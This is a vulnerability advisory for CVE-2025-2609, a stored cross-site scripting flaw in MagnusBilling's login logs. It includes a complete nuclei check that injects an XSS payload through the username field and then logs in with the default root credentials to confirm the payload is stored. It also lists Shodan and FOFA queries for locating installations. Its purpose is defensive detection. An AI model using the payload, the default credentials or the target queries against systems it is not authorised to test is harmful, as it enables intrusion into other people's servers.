MagnusBilling Login Logs - Cross-Site Scripting

highseverity

8.2CVSS score

1.2%likelihood of exploitation, next 30 days

67%of all CVEs are less likely

Readycheck to confirm it

Improper neutralization of input during web page generation vulnerability in MagnusSolution MagnusBilling login logging allows unauthenticated users to store HTML content in the viewable log component accessible at /mbilling/index.php/logUsers/read" cross-site scripting This vulnerability is associated with program files protected/components/MagnusLog.Php.This issue affects MagnusBilling- through 7.3.0.

Impact

Unauthenticated attackers can inject malicious HTML and JavaScript into login logs that persist and execute when administrators view the log component, potentially leading to session hijacking and privilege escalation.

Fix

Upgrade to MagnusBilling version 7.3.1 or later that properly sanitizes input in the login logging component.

How to confirm it

Send: POST /mbilling/index.php/authentication/login
Positive when: status_code == 200 and contains(body, "combination is invalid") and !contains(body, "Trying SQL inject")
Send: POST /mbilling/index.php/authentication/login
Positive when: status_code == 200 and contains(body, "success")
Send: GET /mbilling/index.php/authentication/check?_dc=
Positive when: status_code == 200 and contains(body, "id_agent")
Send: GET /mbilling/index.php/logUsers/read?_dc=&page=1&start=0&limit=25
Positive when: status_code == 200 and contains(body, "User: <img src=x onerror=alert(document.domain)>")

Run it with nuclei: nuclei -id CVE-2025-2609 -u <target>

The full check

id: CVE-2025-2609

info:
  name: MagnusBilling Login Logs - Cross-Site Scripting
  author: DhiyaneshDK
  severity: high
  description: |
    Improper neutralization of input during web page generation vulnerability in MagnusSolution MagnusBilling login logging allows unauthenticated users to store HTML content in the viewable log component accessible at /mbilling/index.php/logUsers/read" cross-site scripting This vulnerability is associated with program files protected/components/MagnusLog.Php.This issue affects MagnusBilling- through 7.3.0.
  impact: |
    Unauthenticated attackers can inject malicious HTML and JavaScript into login logs that persist and execute when administrators view the log component, potentially leading to session hijacking and privilege escalation.
  remediation: |
    Upgrade to MagnusBilling version 7.3.1 or later that properly sanitizes input in the login logging component.
  reference:
    - https://vulncheck.com/advisories/magnusbilling-logs-xss
    - https://chocapikk.com/posts/2025/magnusbilling/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-2609
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
    cvss-score: 8.2
    cve-id: CVE-2025-2609
    cwe-id: CWE-79
    epss-score: 0.01152
    epss-percentile: 0.67208
    cpe: cpe:2.3:a:magnussolution:magnusbilling:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: magnussolution
    product: magnusbilling
    shodan-query: html:"MagnusBilling"
    fofa-query: body="MagnusBilling"
  tags: cve,cve2025,mbilling,stored,xss,authenticated,vkev,vuln

flow: http(1) && http(2) && http(3) && http(4)

variables:
  username: "root"
  password: "9F4CA770B638615AC5C3E0D2DA16B77C80C2F2C6" # magnus

http:
  - raw:
      - |
        POST /mbilling/index.php/authentication/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user=<img src=x onerror=alert(document.domain)>&password=random

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "combination is invalid")'
          - '!contains(body, "Trying SQL inject")'
        condition: and
        internal: true

  - raw:
      - |
        POST /mbilling/index.php/authentication/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded;

        user={{username}}&password={{password}}&key=

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "success")'
        condition: and
        internal: true

  - raw:
      - |
        GET /mbilling/index.php/authentication/check?_dc= HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "id_agent")'
        condition: and
        internal: true

  - raw:
      - |
        GET /mbilling/index.php/logUsers/read?_dc=&page=1&start=0&limit=25 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "User: <img src=x onerror=alert(document.domain)>")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from